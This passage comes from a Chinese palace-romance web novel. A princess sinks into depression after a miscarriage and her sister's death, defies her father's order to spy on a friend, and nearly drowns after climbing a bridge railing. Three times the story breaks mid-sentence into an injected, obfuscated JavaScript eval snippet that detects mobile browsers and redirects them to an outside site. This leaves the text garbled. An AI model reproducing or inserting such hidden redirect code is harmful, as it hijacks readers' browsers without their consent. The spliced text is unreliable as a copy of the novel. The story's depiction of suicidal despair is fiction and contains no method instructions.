虽然店名里有草堂二字,这草堂茶亭却是开在朱雀大街边上的,小竹门推开,暖意扑面而来。圆石小径,茅屋,细水潺潺流过,桃花桑竹,俨然五柳先生笔下的桃花源,茶水果点也算说得过去,有好些人物在这里品茗谈笑,苦短中偷得半日闲。 前院散座人多眼杂,冯妙瑜便和赵氏去了后院。两人才坐下喝了几口茶,赵氏起身去后面更衣,冯妙瑜刚拈起块枣花酥,就听不远处有几人在小声议论献亲王府之事。 “听说是和戍边大将暗通款曲,两人私底下常有书信往来,这回碰巧被内卫截下来,递到御前去了。” “何止暗通款曲这么简单。那位犯的是不道之罪。我哥哥在宫里当差,抄检王府的时候他也去了,在王府发现了穿着龙袍的射偶人碎片。听说他和那大将勾结通信倒是其次,主要是北境那边有一种更加阴毒的邪术,他想学那种邪术咒人……” “真吓人。快别说这个了。” 冯妙瑜捏着枣花酥的手微微一顿。 献亲王这事也算是落下帷幕。丰都防御使革职押解回京候斩,王府被抄。滥施巫蛊邪术意图害人是属十恶的重罪,不过刑不上大夫,父皇顾忌着皇家颜面,并没有拖去问斩,只是吩咐刘公公亲自去赐了壶鸠酒。消息传到长公主府时,冯妙瑜正在用早膳,听闻皇叔死讯她也只是平平淡淡点了个头,心里什么感觉都没有。没有一报还一报的快意,也没有兔死狐悲物伤其类的感觉。 好像一切都无所谓了。 “既然说起这件事,你们可认识那位的王妃王氏?说是在娘家悬梁自尽了。” “她素日待人十分刻薄,嘴里总没句好听的话,一脸刻薄,看着就烦。听说她为了留住亲王,不惜去学那些上不了台面的做派,甚至还亲手挑选男伶送去亲王身边……一点都不像名门出身,把王家的脸都丢干净了。” 这时候碰巧赵氏更衣回来了,她抿着嘴,显然也听见了那几人的话。冯妙瑜记得她和王氏沾亲带故,便抛了个新话题。赵氏却没接话,坐了良久,她突然低低叹了一声。 “她以前不是这样的。”赵氏转着手里的茶杯,“出身好,人生得漂亮,画画也画得好极了,是远远近近姐妹里头最出风头的一个。公主,说实话,我曾经很羡慕她。好端端一个人怎么会变成这样呢。” 冯妙瑜没说话。 有谁是生来就面目可憎的?大抵是岁月可憎,将人消磨至此。 两人在外面玩了大半日,冯妙瑜回府已是日暮,有个小厮过来说白公子离开了,他本想当面辞行,奈何等了半日都不见冯妙瑜回府,只好先走了。冯妙瑜用过晚膳,谢随还没散衙回来。 献亲王一事后,许多与他交往甚密的世家都受了影响,革职的革职,贬官的贬官,朝中一下子空出来不少位子,王大人便推举他去门下省。 门下省属三省之一,主要负责审核中书省草拟的诏令,对不当诏令有封驳之权。入了门下省,也算是真正的进入盛京权力中心了。 本来王大人为他推举的是个正七品的左补阙,考虑的是稳扎稳打,以谢随如今的年纪和资历,官位太高不易服众。可折子递到帝王手里,冯重明想了想,却直接圈了个左谏议大夫给他——除了谢随本身和王大人苦心经营,这里面大概还有几分借花献佛,弥补冯妙瑜的意思。 御医几时出诊,几时离开,用了什么药都有记录,朱太医能瞒一时,却不敢瞒一世,冯妙瑜小产之事还是传到了帝王耳朵里。 左谏议大夫是正五品的官职,非常有实权。虽说要等年后考课结果出来后才有可能升迁,但帝王已经发话,负责谢随考课的王大人又偏心谢随,升任左谏议大夫这事其实已经板上钉钉了。 谢随眼下还在秘书省,工作量没什么变化,应酬却增加了不少,有时候到半夜才能回来。 这晚谢随虽然回来的比以往早些,却也到了亥时。冯妙瑜早就睡下了。 屋里没给他留灯。谢随一手端着烛台,怕亮光晃醒冯妙瑜,又用另一只手挡着光,轻手轻脚在屏风外去了外袍革带,吹了灯摸黑在她旁边躺下。 冯妙瑜其实没睡着,这些天她夜里总是难以入睡,请朱太医看了几次也没结果,只说是她思虑过重。可她也没想着什么啊。冯妙瑜下意识拢了下头发,以免被谢随压着。只是经这么一动,谢随便知道她还醒着了。 “怎么还没睡,是哪里不舒服吗?”谢随紧张道,思忖片刻,又伸手去探冯妙瑜的额头。 她小产后身子一直不好,吃了许多药也不顶用,但朱太医说没事,只是气血有亏,慢慢调养上三五个月就好。转念又想起门房说她今日和仁亲王妃一同出游。人天天在家窝着不出门,就是没病也窝出病来,她愿意出去走走自然是好的,但冬日容易风寒,她身子又弱,谢随有些担心。好在她的额头摸着并不烫,甚至有些冰手。 “我没事。”冯妙瑜说。 “我最近应酬有些多,你先睡就好,不用等我。太医不是也说了你要多休息好好睡觉吗。” 冯妙瑜轻轻笑了一声。 睡不着而已,谁特意等他了?这人可真是自作多情。 谢随说着又贴近了些,暖烘烘的,冯妙瑜一年四季手脚总是冰冷,尤其是到了冬天,穿的再厚,盖再厚的被子也不管用,他倒是相反。冯妙犹豫了一下,也往他怀里靠了靠。现成的火炉子就在手边,不用不白用呢。 冯妙瑜这样一靠近,倒是让谢随整个人紧绷起来。 毕竟他是个年轻的正常男子,这个年纪正是精力旺盛的时候,但这样会伤到她的,又不是禽兽……何况她小产后情绪一直不怎么好,对他更是不冷不热的,难得亲近。他只得忍着平复了。 “今天出去玩了?玩的怎么样?” “挺好。和赵氏一起去了新开的绸缎庄子买了东西,还一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938011|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝了茶,吃了点心。” 去了绸缎庄子那肯定是买了布料回来。谢随捂着冯妙瑜略凉的手,这天是越来越冷了,他本想开口让她帮忙做件护膝——王大人就有一件葛氏给他做的护膝,其他成了亲的同僚们也都多多少少带着妻子做的东西,香囊啦,扇坠儿的,他很是羡慕,甚至有些嫉妒。 但想想又不敢开口。怕让她想起冯妙瑶。她直到前天才知道冯妙瑶的死讯,伤心的不能自已……失去至亲的滋味他比谁都清楚。何必让她再伤心呢。 “还有一个多月就是元旦了,元旦晚上西市有社火表演和花灯,要一起去看看吗?”谢随问。 “还有一个多月,到时候再说吧?困了。”冯妙瑜翻了个身,她其实一点也不困,睡不着,只是不想聊下去了。 冬夜漫长,长公主府里睡不着的又何止冯妙瑜一人。 赵岳披衣走入院中。 献亲王这个隐患没有了,白去华也走了,他一个人躺在床上十分茫然,留是不可能久留的,只是去的话,又要去哪里?赵岳翻来覆去,最后想着出去吹吹风,走一走会好些。 彼时天尚未雪,可风已经足够冷了,他咬牙转了两圈便冷的直打哆嗦,实在受不住,准备回屋,转头却见苍宴出现在了门口,正臭着一张漂亮的脸擦剑。用软布擦完,又用干净毛笔沾了剑油往剑身上刷,细致的,一寸一寸的。 “对不住,”赵岳连忙说,他出门时苍宴那屋还黑着灯的,“是我吵醒公子了吗?” “你心里有数就好。”苍宴没好气从鼻子里哼哼了句。 赵岳挠了挠头,又说了声对不住,便准备回自己屋里了,却又被苍宴手中那柄长剑吸引了目光。 月色下,剑身清透如水,又泛着波浪般的纹路。赵岳这些日子只跟着苍宴学了些简单的架势,他不懂刀剑,却也能瞧出这把剑的不凡。 “这把剑应该很有来头吧?看上去很漂亮。”赵岳犹豫一会,试探着问。 “这叫什么漂亮,它使起来才是真漂亮呢。”苍宴说着,轻弹剑尖,“想来我也好久没有活动过筋骨了。你有眼福了。” 赵岳还没反应过来他说的意思,苍宴已经起身走到了院中。 他身后是一颗矮树,秋天时还有两片半黄不黄的旧叶挂在梢头,入了冬,连那两片叶子也没了,光秃秃的,只剩下细瘦枯枝,好不可怜。苍宴慢悠悠拎起剑,一声叹息,赵岳只觉得眼前一亮。剑光旋起,似是一夜春风,枯木之下银花乍开,平静的杀意流淌在每一道弯弧之中,眼花缭乱。赵岳看痴了。月末的月亮也细细眯着,不知道是在抿着嘴笑,还是在眯着眼看院里的两人。 苍宴收鞘好久,赵岳才回过神来。他早知道苍宴武学造诣不俗,能以一当十,却是头一回见他舞剑,实在是震撼……震撼到说不出话来。 “怎么样,想学吗?想学可以教你。”苍宴突然说。 说出这句话的一瞬间,他突然感觉自己老了。生锈了……准备传承衣钵了。毕竟过着刀尖上舔血的日子的人,有几个能活到而立,又有几个能善终呢。 49. 49 “公主还未起来吗?” 眼看快到正午,小丫鬟捧着药盅急的直转圈,又见榴红从屋里出来,忙迎上去问。 “急什么?不管公主起没起床,你做好你手头的事情就是。”榴红横她一眼,威仪十足。 如今她也有几分长公主府大丫鬟的样子了。 “可那药太医说是一早用过膳就要吃的,已经在炉子上温了六七次了,这都快午时了。下午还有下午的药呢——公主这是怎么了?这样惫懒。” 房门紧闭,小丫鬟亦愁眉不展。 “公主怎么样岂是你该评判的。吃个药嘛,往后推一两个时辰也不要紧,就先温着,到未时你再把药端来。”榴红吩咐道。 等那小丫鬟走远,榴红才长出了口气,整个人噗呲的蔫巴下来。 不是累,是愁的很。 入冬后冯妙瑜过得格外不顺心。先是失去孩子,接着又失去手足姐妹……噩耗一个接一个,放鞭炮似的一连串儿。换了常人,总得休息几日缓缓,平复一下悲痛。她倒好,没事人一样和皇叔争斗,忙得天昏地暗。好不容易献亲王一事了结,树倒猢猴散了,本该趁此机会好生静心休养才是,她心里却怎么也静不下来。 身体本来就没有恢复,晚上还整夜整夜的难以入眠。到了白天,又变得无比嗜睡疲倦。昼夜颠倒,人变得憔悴,大把掉头发不说,脾气也变得反复无常。 前几日一个小丫鬟梳头时无意扯断她一根头发,她突然一反常态指着那小丫鬟大骂起来。小丫鬟吓坏了,年纪小脸皮薄,当着那么多人的面挨训没忍住哭起来,小丫鬟哭,她也跟着哭。一个站着大哭,一个趴在妆台上大哭,屋里乱成一锅粥,就连在她身边多年的阿玉都从没见过这样的阵势,手忙脚乱。 院门吱呀一声开了。 “姑爷?”榴红有些惊讶。 “公主还没有睡醒?”谢随把手里的食盒递给榴红,“来的路上可能有些凉了,你先拿下去热一热。” 食盒里是祥云酒楼的羊肉菌菇饺子和老鸭汤,冯妙瑜前几天随口说想吃,她近来又总是不愿出门,年末秘书省也忙起来,但他一直记着这茬,得空便买了带回家来。 榴红摇摇头。 “早醒来了,但就是不愿起来。公主从来没有这样过的,最近也不知道是怎么了,撞了邪似的。还得您多劝解着些——总不能这样下去吧。” 冯妙瑜一个人缩在床里面。 太阳光从蓝绸帷幔透进来,是一汪幽蓝,随着帷幔摇曳泛起涟漪,深不见底。耳边一直萦绕不断的哭声是这样的颜色,人若真的有三魂七魄,一片片扯碎时大抵就是这样的颜色。悲戚戚的颜色。 榴红她们在外面说了什么,她听得一清二楚。 这样下去当然不行。她心里再清楚不过了。哪有人成日躺在床上不动弹的?又不是冬眠的蛇。要做的事情堆积如山,得起来才是。 必须得起来。 可就是起不来。 好没用。怎么连这么简单的事情都做不到。恨不得拿剪子扎自己的腿。如果这样就能让自己起来做事的话。 她呆呆望着床边垂下的香囊坠子,架子床,四方四正,由绫罗绸缎包裹着—— 绫罗绸缎裹着的笼子怎么就不是笼子了?任凭她在心里如何焦急地大喊拍打,身体困锁在狭小的木头笼子里,上面是石头压着,连一根手指都动弹不得。 听到谢随进来的脚步声,冯妙瑜猛地拉起被子把自己整个人从头到脚裹在里面。 “我带了祥云酒楼羊肉饺子和鸭子汤,还有你上次说想吃的点心。先起来吃点再睡?”床榻微微往下陷了陷,谢随坐在床边,“外衣我帮你拿过来了,一件鹅黄,一件浅葱的,今天想穿哪件?” 被子底下传出来闷闷的声音。 “不饿,你自己吃就行了。别管我。” 话音落下,又恼于自己说话的口吻。他是好心,她怎能这样对他说话?他会生气的。他本来就没有那么喜欢她不是么。 她心里突然升起一种恐惧。 清月桥的那些姑娘肯定不会这样和他说话。所以他才去那里……也许还会在那里偷偷养上一个,年轻漂亮嘴巴甜,谁不喜欢那样的——她呢?有名无实的空架子,就算把和离书扔在他脸上又如何?盛京就这么大,什么都瞒不住的。 她会变成下一个王氏。 形容憔悴的,茶余饭后和点心一起上桌的,一碟笑料。 她不要变成那样。 “你今天怎么这个时候就回来了?比往常早好多呢。” 冯妙瑜压着心里的烦躁,尽力让自己的声音听起来轻快些。一如往昔。 “今天没什么事,散衙早,就提前回家了。” 年末各个衙门都忙,哪有闲的功夫。不过是加班加点提早做完手里事情,想方设法抽时间出来看她。 “其实我也不是很饿,反而有点困。天气这么冷,被子好歹分给我些?” 谢随轻轻扯了扯被子,语气放的很软,冯妙瑜却像被戳到了痛处,用力拽着被子。拉拉扯扯,露出半只乌青发肿的眼睛,终于控制不住。 “你滚出去!” 她少有这样崩溃大叫。守在外面的榴红一个激灵,一时间不知道该静观其变还是冲进去查看,屋里面的谢随也是一滞。不明白他方才哪里说得不好,突然惹她这样的恼火。 “非要看到我这个样子你才满意吗?又丑,又恶心。心肠更是歹毒至极。害了那么多人,杀死自己的孩子,害死自己的妹妹和外甥……这么烂的人,还有脸哭哭啼啼的,矫情又恶毒。我这样的人活该被人恨,被讨厌啊。我要是没出生就好了——哈哈,你现在心里肯定也是这样想的吧?” 字字如刀,割心剜骨。积压已久无处宣泄的情绪,随着把刀子对准自己的瞬间血淋淋倾泻而出。痛苦,但快意着。哪怕这样只会让自己伤的更重,还是忍不住饮鸩止渴。 谢随心里一紧。 她怎么会这样想?不论是意外小产后,还是知道冯妙瑶的死讯后,她表现的都很平静,甚至是克制的……也许这种平静本身就是最大的反常。 这是他亲手造就的。 谢随抬起冯妙瑜的脸,用帕子轻轻擦她眼角泪水,两人的视线有一瞬间的交错,冯妙瑜很快别开眼,她眼睛里空空的,什么都没有。 谢随突然害怕极了。他把冯妙瑜紧紧抱在怀里,低头细细亲她,“胡说。我没有这样想。从来没有过。你前天很漂亮,昨天很漂亮,今天明明也很漂亮。” “骗子。你对所有人都这么说吧?” “这话我只对你一人说过,也只会对你这样说。何况谁会觉得你不漂亮?除非他的眼睛瞎了。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951283|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随想了下,又简单解释了清月桥的事情。本就是怕她多心才没说,没想到阴差阳错,却让她更在意了。 “我以前都不知道你是怎么想的。” “所以,你是怪我没有说出来吗?我又做错了什么?”冯妙瑜尖锐道,伸手搡他,她半日水米未进实在没有多少力气,搡不开,便用指甲挠,指甲生生断在肉里见了血也不在乎。 谢随顾不上手臂丝溜溜的痛感,忙抓住她的手,免得她再伤到自己。 “你误会我了。我没有怪你的意思。我想说的是我会陪在你身边的。这些事情,你若愿意说给我听我会认真听你讲。但以后不要这样贬低自己了。那些事情谁也没有办法预料到,不是你的错。你没有做错什么。真正做了坏事的人往往不会反省不会自责。” 谢随又把她抱得更紧了些,表情很认真。 “他们不喜欢你那是他们的问题。你要多喜欢自己一点。别人怎么想我不清楚,我只能告诉你我很庆幸自己遇到了你。冯妙瑜出生在世上真是太好了。” …… 林林总总哄她许久,才勉强让濒临崩溃的她平静下来。两人一起吃了顿不合时习的饭,等了大半日的小丫鬟总算有机会端上那碗本该早上就喝了的药。 温度正好的药汤就摆在眼前,冯妙瑜没动,表情突然有些古怪。谢随便找了个借口去院子里转悠半圈,等回去时药盅果然空了,只是桌边那颗半死不活的盆栽盆土也变湿了。 谢随微微皱眉。 她的身体还虚着,要好好调养,不喝药怎么能行。但是眼下不是计较这个的时候。不想喝药,也有旁的法子调养身体,现在最要紧的是让她开心,在这种小事睁一只眼闭一只眼就是了。 吃过东西没多久,冯妙瑜便又犯困了,谢随看着真的她睡着了才轻手轻脚出屋,把榴红叫到一旁,叮嘱她近来要多盯着冯妙瑜,不能让冯妙瑜离开人的视线。 她状态不好,秘书省又正是忙的时候,他不一定能天天在府里陪她,怕她一时想不开做傻事。 谢随眼下过的也很是艰难。 他空降到秘书省,省监王大人还对他颇为照顾本就引得好些同僚心怀不满。如今突然高升,冯妙瑜小产时他告了七日假,这事王大人压下来了。现在正是年末最忙的时候,他又频繁告假。虽说该做的事情他尽量都带回家做好了,王大人也没意见,还笑着安慰他说:“我这个秘书省省监是从三品,公主可是正一品,哪边的事更重要,这还不清楚吗?你放心照顾公主,衙门这边我会帮你圆过去。” 但秘书省不是王大人的一言堂,那些本就看他不顺眼的同僚明里笑着,暗地里却使绊子给他。脏活累活全都交到他手里,有的还故意挑刺,卡着流程……手段低级,但是经久不衰。毕竟年后这人就是五品大员了,不趁这时候踩他一脚可就没有机会了。 鸿鹄何须与燕雀之流纠缠。 何况连这点小事都处理不好,日后又如何坐稳左谏大夫的位子? 谢随不想因为这点事情就去麻烦王大人,只能过两头忙的日子。一边和同僚暗枪对暗刀子,礼尚往来,一边又忙着安抚照看冯妙瑜……好在大半月过去,冯妙瑜的状况稳定不少,他总算能腾出手专心找那几位同僚算旧账。 这日午后,天气略略有些阴沉,大片浅灰的云铺满天空。毫无征兆的,刘公公突然过来了。 50. 50 冯妙瑜才起来用了午膳,从榴红手里接了茶漱口。外头天气阴沉沉,吃完东西,人正懒在白兔绒披袄里昏昏沉沉,正想着要不要睡个回笼觉,就听下面有人通传说刘公公来了。冯妙瑜眨了眨眼睛。不想见……但躲得了初一,还能躲了十五么,长痛不如短痛。想着,还是忍着困意强行打起精神见他。 “这么冷的天,公公怎么亲自过来了。” 刘公公依旧笑得很和煦,弯腰向冯妙瑜行了礼,一脸关切,“您的身子如何了?可还有大碍?” “好多了。”冯妙瑜含糊道。 屋里烧得烘暖的炭火为她添了层薄薄的血色,至于那苍白的底色,刘公公猜想是她许久未出门的缘故。 看这样子应无大碍了。 “皇上十分担忧您。只是眼下西线战局吃紧,您也知道的,太忙了,实在是分身乏术,抽不出空召您入宫相见,便差奴才过来看看,给您送些东西过来。” 匣子一个个打开,几十年的老参,将近人拇指长的冬虫草……小匣子里多是滋补的药材,还有两三个大匣子。最大的里是尊约莫一寸多高的送子观音。整块白玉雕成,玉质温润,慈眉善目,一看就价值不菲。 “这也太贵重了。” 冯妙瑜微微皱眉。心里不安。若只是探望病人怎会送来这样重的礼。无事献殷勤,非奸即盗。她不明白父皇这是什么意思,问刘公公,刘公公却笑着说帝王的爱子之心,岂是这些俗物能衡量的? 他话说到这份上,帝王的心意,不收,反而是不识趣了。 冯妙瑜只能让榴红把药材等都拿去入库放好。至于那尊观音像,就且先摆在屋里。 刘公公又笑眯眯地谈起西境的情况,从西境战况说到宫中琐事,语气轻松。他是个健谈的人,不过宫里的太监都是一个模子里出来的,见人说人话,见鬼说鬼话。主子高兴时陪着笑,主子悲伤时陪着哭的。冯妙瑜听着偶尔点个头,淡淡附和上两句,榴红时不时进来添茶。刘公公好像真的只是来探望她的,聊着聊着,刘公公突然说起了仁亲王。 “说起这事,公主近来可曾见过仁亲王殿下?” “皇叔?最近倒没见过他。”冯妙瑜摇摇头,“不过我上个月倒是和赵氏一起去宣阳坊逛了逛。怎么突然提起皇叔?” “朔方失守,丰都也不太平,眼下压力可全在夏绥了。您和赵氏关系不错,那就是说,仁亲王殿下请命去夏绥督战一事,公主已经知道了?” 冯妙瑜一愣。 “皇叔自请去了夏绥?” 文官和武官向来水火不容,她在军中并无多少耳目,能探听到的消息有限。仁亲王这个人闲云野鹤惯了,朝事政事这些有多远躲多远,从来不问的,如今怎会突然跑去夏绥督战,蹚进这摊洪水里。 冯妙瑜直起身子,喝了口茶,“真是奇怪了。” “谁说不是呢?”刘公公顿了顿,“都说他们夫妻鹣鲽情深,无话不说的,您和仁亲王妃关系好,奴才还以为您早就知道这件事了呢。她竟什么都没有和您说吗。” 冯妙瑜从他话里听出了几分不对劲。 “刘公公这话是什么意思?” 御前的红人,但说到底,也只是个奴才。奴才背后是有主子的,奴才的话,背后也是有主子的。 “仁亲王殿下突然请命督战,皇上也很吃惊。这种事总不可能是头脑一热就拍拍屁股说去就去了吧?仁亲王妃可能知道些什么,毕竟他们夫妻情深——您又和仁亲王妃关系不错,不是吗?” “父皇的意思是,让我从赵氏那里打听皇叔请命督战的缘由?”冯妙瑜突然扶着额头低低笑出了声。原是为了这个来的啊,就说无事不登三宝殿。她嘲讽道:“既然您是为了说这个来的,那早说就是,何必这样拐弯抹角,浪费彼此的时间。” 她方才竟真的以为父皇是关心她的。所以才特意派了刘公公过来探望,陪着她说说话聊聊天……原来都是假的。关心是附带的幌子,只有利用是真。她该觉得开心吗?毕竟在帝王的眼中,她还是有利用……有想起来的价值的。 刘公公被她呛了两句,一时间也有些不快,清了清嗓子,继续笑道:“这事说起来也不急,但皇上的意思是这点小事就不要拖到明年了。今个都廿四了,离腊月也没几天了。” 这是父皇的命令了。君命如山,她哪里有拒绝的权力?以往这时候她就是再不情愿也点点头答应下来,但今日,她心底却莫名生出一股勇气。 过去她只是一味的听从,不情愿,不喜欢,亦不拒绝,从来没有试着说出自己的想法。说出来会不会有所不同? “刘公公,”她抿了抿嘴,叫住话带到便准备告辞的的刘公公,“您替我转告父皇。这件事也不是非我不可,何必一定要我来做?这事我实在不愿做,也做不了,”她吸了口气,头一回说出拒绝的话,说的有些艰难,“这么多年,我难得有这么一个能说得上话的……朋友。” 难得有人不在乎那些流言蜚语愿意接近她,一起玩闹说说话。她实在不愿为了冯重明的一点疑心,就去赵氏处试探她,断送两人的情谊。 刘公公没想到她会拒绝,这人难道卧床养病把脑子养出了毛病来?他摘了脸上的笑意,常年挂着笑的人,不笑时总觉得怪怪的,垂下来的眼纹和少年般尖细的声音,有些瘆人。 “公主这是睡糊涂了?您要是缺个说话的人,嫌不够热闹,奴才叫宫里再选些好的丫头送到您这就是了嘛。” “这不一样。这哪是能一样的?”指甲顶在手心,冯妙瑜反驳道:“您帮我把这话带给父皇。” 刘公公面色更冷了。 “奴才一直都觉得公主是个聪明人,今个怎么您突然就拎不清了?君君臣臣,父父子子,这天上地下最大的就哪一位。旁的人,奴才说难听些,又算得了什么?公主您可不要忘了本。皇上眼下忙得焦头烂额的,正烦心着呢。这话,奴才可不敢带呐。” “难道我连个朋友都不配有吗?”冯妙瑜笑着问。 “公主言重了,奴才可没这有这个意思。”刘公公重新笑起来,“只是奴才想,这人不能什么都有吧,总得缺个一样两样的。您已经拥有了常人一辈子不能及的富贵,再想要更多的,那就未免有些太贪心了不是?曲高和寡嘛。” “这离腊月就七日了,奴才觉得,公主与其想这些事情,不如想想怎么从仁亲王妃嘴里问出来点东西,好向皇上有个交代。” 等榴红再进来添茶时,刘公公已经走了。地上一地碎雪,是那尊送子观音像,残破的脸依旧温柔的笑着。冯妙瑜只说是不小心失手打碎,困的很,抱着披袄睡下了。 一如既往。似乎没什么异常的地方。 傍晚时断断续续飘了雪。这是今年冬天的头一场雪,冯妙瑜吃了晚膳,又在窗边坐了好一会儿,突然说要上后花园里走一走。 榴红谨记谢随的吩咐,不敢让她一人出去,撑伞在半步后紧紧跟着。 初雪是细细的粉雪,落在人身上也软软的。走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯妙瑜松了披袄,脱了靴子,可冬天衣裳还是太厚重了,她没法一下子翻过去,只能先用脚踩着底下的雕花一点点往上爬。大概是没想过有人会故意踩在上面,整修时又赶时间,宫人们便没有换掉之前的栏杆,只刷了层新漆。吱吱呀呀,不堪重负的人踩着不堪重负的栏杆,老旧的栏杆痛苦的呻吟着。 谢随回府时,雪已经落了一层,府里上下乱成一锅粥。 榴红哭的上气不接下气,她抓着谢随的袖子,“公主说要去后花园转转,后花园已经翻遍了,奴婢看公主今天心情挺好的,只是取个手炉而已,很快的,天气这么冷……奴婢想着不会有事的啊……” “只找了后花园,那其他地方呢?”谢随立刻道。 “人手主要集中在后花园,”阿玉接道,“后花园太大了,今天天色又黑,实在分不出人手各处都找了。” 顾不得疲倦,谢随接过灯笼匆匆加入找冯妙瑜的行列。天色越来越暗,雪也越来越大了,这样的天气,她会去哪里?又能去哪里? 他一手拎着灯笼,一手挡着风雪,走的艰难。又一阵风夹杂着鹅毛大雪打在脸上,骨碌碌的,一柄红伞妩媚地滚到他脚边,停下了。 谢随抬起头,长桥周边光秃秃的,一片黑寂风雪间,暗红色的衣带格外亮眼。 他还来不及为找到冯妙瑜欣喜,就看见那截衣带的主人晃动了一下,扑通一声,似乎是决然地跃入湖中。 那一瞬,风雪骤停,肝胆俱裂。 51. 51 狂风夹着冷冰冰的雪迎面一扑,冯妙瑜打了个寒战,冻僵的手反手抓着栏杆,脚后跟只有一小半踩在栏杆上,微微低头,脚下就是黑洞洞的万丈深渊,她却突然清明了。 她这是在做什么……不要命了,真是不要命了?疯了吗? 极其剧烈的恐惧感突然占据了上风,冯妙瑜只觉得头晕目眩。方才翻过来的时候不觉得有什么,眼下却整个人从头到脚趾尖都在颤抖,她本想扭身再翻回去,可她太冷也太怕了,僵硬的身体根本不听使唤,转身不成,反而脚下一滑,差一点掉进湖里。 好不容易操纵着抖如筛糠的手脚爬到栏杆边缘,冯妙瑜正踮起脚尖准备坐在栏杆上翻回去时,倏然传来轻轻的碎裂声。 是她脚下的栏杆断裂的声音。 踩空了。 湖水冰凉刺骨,身体落入水中的一刹,有如千万根冰针同时扎进身体,痛苦万分,湖水还不断灌进嗓子——她不会水。脑子里一片空白,只能出于本能地拼命挥舞着手脚,扑腾挣扎着向上,向有新鲜空气的地方。可越是用力挣扎,身子越是往下沉。 被湖水吞没的瞬间,冯妙瑜似乎又产生了幻觉,她迷迷糊糊竟看到了谢随的脸。 焦急的,狰狞的,奔她而来的。 没想到在这种时候,最后想到的还是谢随。冯妙瑜的心情很是复杂。 她对这段感情的不安,这些日子来他对自己的照顾……理不清,又不舍得剪断,她自己也搞不懂自己的心意了。理智告诉她应该快刀斩乱麻,要断,还要断的干净利索,可另一边,又留恋着他带来的温暖,哪怕是虚假的。嘴上说得潇洒,可怎么好割舍。毕竟她这么喜欢他,喜欢了这么多年啊…… 浓重的黑蓝在她眼里晃动着,冯妙瑜闭上了眼睛—— 意识彻底消散的前一霎,她突然被一只手用力地拽着捞了上去。 冰冷的空气取代湖水重新涌进鼻腔,她趴在地上猛地咳嗽起来,狼狈极了,湖水,连带着五脏六腑好像都要咳出来了。 灯笼翻倒在一旁,火苗窜出来,烧到了红纱糊的灯罩子。 谢随也没有好到哪里去,眼睛里仍透露着惊恐,发冠散了,头发湿漉漉贴在颈侧。方才跳下去救冯妙瑜时他也有些呛到水,但又要比冯妙瑜好很多。他扯过两人的外衣盖在颤抖个不停的冯妙瑜身上。 他向来是温和有礼的,冯妙瑜从来没见过他动气的模样,他这个样子实在好生吓人,冯妙瑜下意识往后缩了缩……再往后面就是湖水,退无可退了。 灌了水的衣裳如有千斤之中,谢随拖着步子靠近她,一把将她拽离了湖边,又胡乱的用两人的外衣把她裹紧,声音冷硬,质问:“你在做什么——” “你一个人跑到这里,知道我有多担心吗?” “我……”冯妙瑜冷得说不清话,断断续续哆嗦着辩解,“我只是来这里散散心,不小心,不小心掉到了湖里……” “不小心?” 大冬天不小心脱了鞋袜,还不小心翻到了栏杆上面?谢随气极,竟然笑起来,额角青筋突突抽动,他捏着冯妙瑜的肩膀,那湖水冷得彻骨,他只是跳进去一小会都觉得难以承受,何况身子本就娇弱又未痊愈的她。 “你知道若是我再晚来半刻,你就真的没命了!”他厉声呵斥道,色厉内茬,满心惶然,冯妙瑜却偏头不言。 谢随伸手掰过她的脸让她抬头看着自己,继续厉声逼问:“你知道不知道?就这样不爱惜自己?死了可就什么都没有了!你不明白——” 她根本就不明白她对他的意义。一个人吊着一口气在炼狱里生煎熬煮了这么些年,总算遇到一个想要携手相伴下去的人,好生活下去的理由——可她却想寻死。怎么能?她若死了,他要怎么办?再次被抛弃在世上? 谢随捏着她的手更用力了,力气大的像是要捏碎她的骨头。 “不是皆大欢喜?”冯妙瑜平静地说。 “你说什么——”谢随简直不敢相信自己的耳朵。 “你管我做什么啊?”被他疾言厉色以言语相逼,这些年的疲惫倦怠,冯妙瑜也绷不住了,冲他叫道:“你也是这样想吧——她这样的麻烦,还不如死了好。反正你的目的也达成了不是吗?” “我的目的?”谢随有些心虚,难道她真的察觉到什么了?因为心虚着,面上也软和了些,“我的什么目的?” “荣华富贵?重新回到官场?”冯妙瑜笑笑,总算说出在心里藏了许久的话,“这要问你自己。你又不喜欢我,若不是别有用心,又何必装作一副深情模样接近我?” “我什么时候说过不喜欢你了?”谢随愕然。 “我不是没长眼睛。”冯妙瑜抿着嘴,这种事情难道还要等他亲口说出来吗。 谢随手上力道松了些,有些生气,又有些无奈。毕竟过去一开始他确实不喜欢冯妙瑜,还想过一些过分的事情,但那已经是过去了啊。想了想,他避重就轻地说:“你这样说,知道我有多伤心?这些天来,我的心意你难道一点都没有感觉到?” 他把冯妙瑜抱在怀里,细细地亲吻,两人冻得半僵的头发海草一样纠缠在一起,难舍难分。 “骗子。”冯妙瑜咬他,喘息着骂他。 “我说的都是真的,没有半句话骗你。” 